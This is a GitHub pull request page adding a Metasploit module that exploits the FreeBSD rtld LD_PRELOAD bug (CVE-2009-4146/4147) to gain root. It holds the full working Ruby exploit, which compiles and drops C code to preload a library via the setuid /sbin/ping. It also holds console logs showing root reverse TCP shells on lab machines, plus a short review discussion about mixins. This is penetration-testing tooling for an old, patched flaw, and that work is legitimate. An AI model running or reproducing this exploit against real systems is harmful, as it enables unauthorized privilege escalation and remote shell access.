New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add FreeBSD rtld execl() Privilege Escalation module #11808
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
149 changes: 149 additions & 0 deletions
149
documentation/modules/exploit/freebsd/local/rtld_execl_priv_esc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,149 @@ | ||
## Description | ||
|
||
This module exploits a vulnerability in the FreeBSD | ||
run-time link-editor (rtld). | ||
|
||
The rtld `unsetenv()` function fails to remove `LD_*` | ||
environment variables if `__findenv()` fails. | ||
|
||
This can be abused to load arbitrary shared objects using | ||
`LD_PRELOAD`, resulting in privileged code execution. | ||
|
||
|
||
## Vulnerable Application | ||
|
||
This module has been tested successfully on: | ||
|
||
* FreeBSD 7.2-RELEASE (amd64) | ||
* FreeBSD 8.0-RELEASE (amd64) | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Get a session | ||
3. `use exploit/freebsd/local/rtld_execl_priv_esc` | ||
4. `set SESSION <SESSION>` | ||
5. `check` | ||
6. `run` | ||
7. You should get a new *root* session | ||
|
||
|
||
## Options | ||
|
||
**SESSION** | ||
|
||
Which session to use, which can be viewed with `sessions` | ||
|
||
|
||
## Scenarios | ||
|
||
### FreeBSD 7.2-RELEASE (amd64) | ||
|
||
``` | ||
msf5 > use exploit/freebsd/local/rtld_execl_priv_esc | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1 | ||
session => 1 | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true | ||
verbose => true | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165 | ||
lhost => 172.16.191.165 | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run | ||
|
||
[*] Started reverse TCP handler on 172.16.191.165:4444 | ||
[+] FreeBSD version 7.2-RELEASE appears vulnerable | ||
[+] gcc is installed | ||
[+] /sbin/ping is setuid | ||
[*] Writing '/tmp/.Qv98Z0.c' (149 bytes) ... | ||
[*] Max line length is 131073 | ||
[*] Writing 149 bytes in 1 chunks of 543 bytes (octal-encoded), using printf | ||
[*] Writing '/tmp/.Re1l7JG.c' (413 bytes) ... | ||
[*] Max line length is 131073 | ||
[*] Writing 413 bytes in 1 chunks of 1470 bytes (octal-encoded), using printf | ||
[*] Writing '/tmp/.X85bYhTRF' (172 bytes) ... | ||
[*] Max line length is 131073 | ||
[*] Writing 172 bytes in 1 chunks of 524 bytes (octal-encoded), using printf | ||
[*] Launching exploit... | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] usage: ping [-AaDdfnoQqRrv] [-c count] [-G sweepmaxsize] [-g sweepminsize] | ||
[*] [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl] | ||
[*] [-P policy] [-p pattern] [-S src_addr] [-s packetsize] [-t timeout] | ||
[*] [-W waittime] [-z tos] host | ||
[*] ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload] | ||
[*] [-M mask | time] [-m ttl] [-P policy] [-p pattern] [-S src_addr] | ||
[*] [-s packetsize] [-T ttl] [-t timeout] [-W waittime] | ||
[*] [-z tos] mcast-group | ||
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.241:61425) at 2019-05-03 04:34:07 -0400 | ||
[+] Deleted /tmp/.Qv98Z0.c | ||
[+] Deleted /tmp/.Qv98Z0.o | ||
[+] Deleted /tmp/.Fv3rwXn.0 | ||
[+] Deleted /tmp/.Re1l7JG.c | ||
[+] Deleted /tmp/.Re1l7JG | ||
[+] Deleted /tmp/.X85bYhTRF | ||
|
||
id | ||
uid=0(root) gid=0(wheel) groups=0(wheel),1001(user) | ||
uname -a | ||
FreeBSD freebsd-7-2-amd64.local 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Fri May 1 07:18:07 UTC 2009 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 | ||
|
||
``` | ||
|
||
### FreeBSD 8.0-RELEASE (amd64) | ||
|
||
``` | ||
msf5 > use exploit/freebsd/local/rtld_execl_priv_esc | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set session 1 | ||
session => 1 | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set verbose true | ||
verbose => true | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > set lhost 172.16.191.165 | ||
lhost => 172.16.191.165 | ||
msf5 exploit(freebsd/local/rtld_execl_priv_esc) > run | ||
|
||
[*] Started reverse TCP handler on 172.16.191.165:4444 | ||
[+] FreeBSD version 8.0-RELEASE appears vulnerable | ||
[+] gcc is installed | ||
[+] /sbin/ping is setuid | ||
[*] Writing '/tmp/.ppHMfMh.c' (147 bytes) ... | ||
[*] Max line length is 131073 | ||
[*] Writing 147 bytes in 1 chunks of 536 bytes (octal-encoded), using printf | ||
[*] Writing '/tmp/.aSlXLjlX.c' (415 bytes) ... | ||
[*] Max line length is 131073 | ||
[*] Writing 415 bytes in 1 chunks of 1476 bytes (octal-encoded), using printf | ||
[*] Writing '/tmp/.9BdfNzy' (172 bytes) ... | ||
[*] Max line length is 131073 | ||
[*] Writing 172 bytes in 1 chunks of 524 bytes (octal-encoded), using printf | ||
[*] Launching exploit... | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] /libexec/ld-elf.so.1: environment corrupt; missing value for | ||
[*] usage: ping [-AaDdfnoQqRrv] [-c count] [-G sweepmaxsize] [-g sweepminsize] | ||
[*] [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl] | ||
[*] [-P policy] [-p pattern] [-S src_addr] [-s packetsize] [-t timeout] | ||
[*] [-W waittime] [-z tos] host | ||
[*] ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload] | ||
[*] [-M mask | time] [-m ttl] [-P policy] [-p pattern] [-S src_addr] | ||
[*] [-s packetsize] [-T ttl] [-t timeout] [-W waittime] | ||
[*] [-z tos] mcast-group | ||
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.239:57343) at 2019-05-03 04:36:16 -0400 | ||
[+] Deleted /tmp/.ppHMfMh.c | ||
[+] Deleted /tmp/.ppHMfMh.o | ||
[+] Deleted /tmp/.VWnmV5K86.0 | ||
[+] Deleted /tmp/.aSlXLjlX.c | ||
[+] Deleted /tmp/.aSlXLjlX | ||
[+] Deleted /tmp/.9BdfNzy | ||
|
||
id | ||
uid=0(root) gid=0(wheel) groups=0(wheel) | ||
uname -a | ||
FreeBSD freebsd-8-0-amd64.local 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:02:08 UTC 2009 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 | ||
|
||
``` | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,215 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'FreeBSD rtld execl() Privilege Escalation', | ||
'Description' => %q{ | ||
This module exploits a vulnerability in the FreeBSD | ||
run-time link-editor (rtld). | ||
|
||
The rtld `unsetenv()` function fails to remove `LD_*` | ||
environment variables if `__findenv()` fails. | ||
|
||
This can be abused to load arbitrary shared objects using | ||
`LD_PRELOAD`, resulting in privileged code execution. | ||
|
||
This module has been tested successfully on: | ||
|
||
FreeBSD 7.2-RELEASE (amd64); and | ||
FreeBSD 8.0-RELEASE (amd64). | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Kingcope', # Independent discovery, public disclosure, and exploit | ||
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824) | ||
'bcoles' # Metasploit (using Kingcope's exploit code [modified]) | ||
], | ||
'DisclosureDate' => '2009-11-30', | ||
'Platform' => ['bsd'], # FreeBSD | ||
'Arch' => | ||
[ | ||
ARCH_X86, | ||
ARCH_X64, | ||
ARCH_ARMLE, | ||
ARCH_AARCH64, | ||
ARCH_PPC, | ||
ARCH_MIPSLE, | ||
ARCH_MIPSBE | ||
], | ||
'SessionTypes' => ['shell'], | ||
'References' => | ||
[ | ||
['BID', '37154'], | ||
['CVE', '2009-4146'], | ||
['CVE', '2009-4147'], | ||
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'], | ||
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'], | ||
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'], | ||
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'], | ||
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'], | ||
['URL', 'https://securitytracker.com/id/1023250'] | ||
], | ||
'Targets' => [['Automatic', {}]], | ||
'DefaultOptions' => | ||
{ | ||
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp', | ||
'PrependSetresuid' => true, | ||
'PrependSetresgid' => true, | ||
'PrependFork' => true, | ||
'WfsDelay' => 10 | ||
}, | ||
'DefaultTarget' => 0)) | ||
register_options [ | ||
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ]) | ||
] | ||
register_advanced_options [ | ||
OptBool.new('ForceExploit', [false, 'Override check result', false]), | ||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) | ||
] | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'].to_s | ||
end | ||
|
||
def suid_exe_path | ||
datastore['SUID_EXECUTABLE'] | ||
end | ||
|
||
def upload(path, data) | ||
print_status "Writing '#{path}' (#{data.size} bytes) ..." | ||
rm_f path | ||
write_file path, data | ||
register_file_for_cleanup path | ||
end | ||
|
||
def is_root? | ||
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0') | ||
end | ||
|
||
def check | ||
kernel_release = cmd_exec('uname -r').to_s | ||
unless kernel_release =~ /^(7\.[012]|8\.0)/ | ||
vprint_error "FreeBSD version #{kernel_release} is not vulnerable" | ||
return CheckCode::Safe | ||
end | ||
vprint_good "FreeBSD version #{kernel_release} appears vulnerable" | ||
|
||
unless command_exists? 'gcc' | ||
vprint_error 'gcc is not installed' | ||
return CheckCode::Safe | ||
end | ||
print_good 'gcc is installed' | ||
|
||
unless setuid? suid_exe_path | ||
vprint_error "#{suid_exe_path} is not setuid" | ||
return CheckCode::Detected | ||
end | ||
vprint_good "#{suid_exe_path} is setuid" | ||
|
||
CheckCode::Appears | ||
end | ||
|
||
def exploit | ||
unless check == CheckCode::Appears | ||
unless datastore['ForceExploit'] | ||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' | ||
end | ||
print_warning 'Target does not appear to be vulnerable' | ||
end | ||
|
||
if is_root? | ||
unless datastore['ForceExploit'] | ||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' | ||
end | ||
end | ||
|
||
unless writable? base_dir | ||
fail_with Failure::BadConfig, "#{base_dir} is not writable" | ||
end | ||
|
||
if base_dir.length > 1_000 | ||
fail_with Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than 1,000" | ||
end | ||
|
||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" | ||
|
||
executable_data = <<-EOF | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <unistd.h> | ||
|
||
void _init() { | ||
extern char **environ; | ||
environ=NULL; | ||
system("#{payload_path} &"); | ||
} | ||
EOF | ||
|
||
executable_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" | ||
upload "#{executable_path}.c", executable_data | ||
output = cmd_exec "gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall" | ||
register_file_for_cleanup "#{executable_path}.o" | ||
|
||
unless output.blank? | ||
print_error output | ||
fail_with Failure::Unknown, "#{executable_path}.c failed to compile" | ||
end | ||
|
||
lib_name = ".#{rand_text_alphanumeric 5..10}" | ||
lib_path = "#{base_dir}/#{lib_name}" | ||
output = cmd_exec "gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles" | ||
register_file_for_cleanup "#{lib_path}.0" | ||
|
||
unless output.blank? | ||
print_error output | ||
fail_with Failure::Unknown, "#{executable_path}.o failed to compile" | ||
end | ||
|
||
exploit_data = <<-EOF | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
#include <unistd.h> | ||
|
||
int main() { | ||
extern char **environ; | ||
environ = (char**)calloc(8096, sizeof(char)); | ||
|
||
environ[0] = (char*)calloc(1024, sizeof(char)); | ||
environ[1] = (char*)calloc(1024, sizeof(char)); | ||
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0"); | ||
|
||
return execl("#{suid_exe_path}", "", (char *)0); | ||
} | ||
EOF | ||
|
||
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" | ||
upload "#{exploit_path}.c", exploit_data | ||
output = cmd_exec "gcc #{exploit_path}.c -o #{exploit_path} -Wall" | ||
register_file_for_cleanup exploit_path | ||
|
||
unless output.blank? | ||
print_error output | ||
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" | ||
end | ||
|
||
upload payload_path, generate_payload_exe | ||
chmod payload_path | ||
|
||
print_status 'Launching exploit...' | ||
output = cmd_exec exploit_path | ||
output.each_line { |line| vprint_status line.chomp } | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Msf::Post::Linux::System#has_gcc?
does thisThere was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It does, but this is a FreeBSD module.
The mixins are a mess, and not something I want to tackle in this PR.
Despite
BSD
andFreeBSD
being treated as different platforms inexploit
andpayload
contexts, there are noBSD
orFreeBSD
mixins. Instead, the closest match is theUnix
mixin, which happens to also importmsf/core/post/linux/system
.Importing a mixin for a different platform for a single method (that's 1 line long) didn't seem appropriate. This pollutes the namespace and is more likely to introduce issues if the Linux mixins change in the future.
Similarly, there's a method for the
is_root?
check in the Linux mixins.Ideally, the UNIX mixin should be updated to support
is_root?
andhas_gcc?
, and remove the dependency onmsf/core/post/linux/system
. The following modules will also need to be updated. Not something I want to tackle in this PR. I think some of the following are unnecessarily including theUnix
mixin, and could instead simply import theLinux
mixin.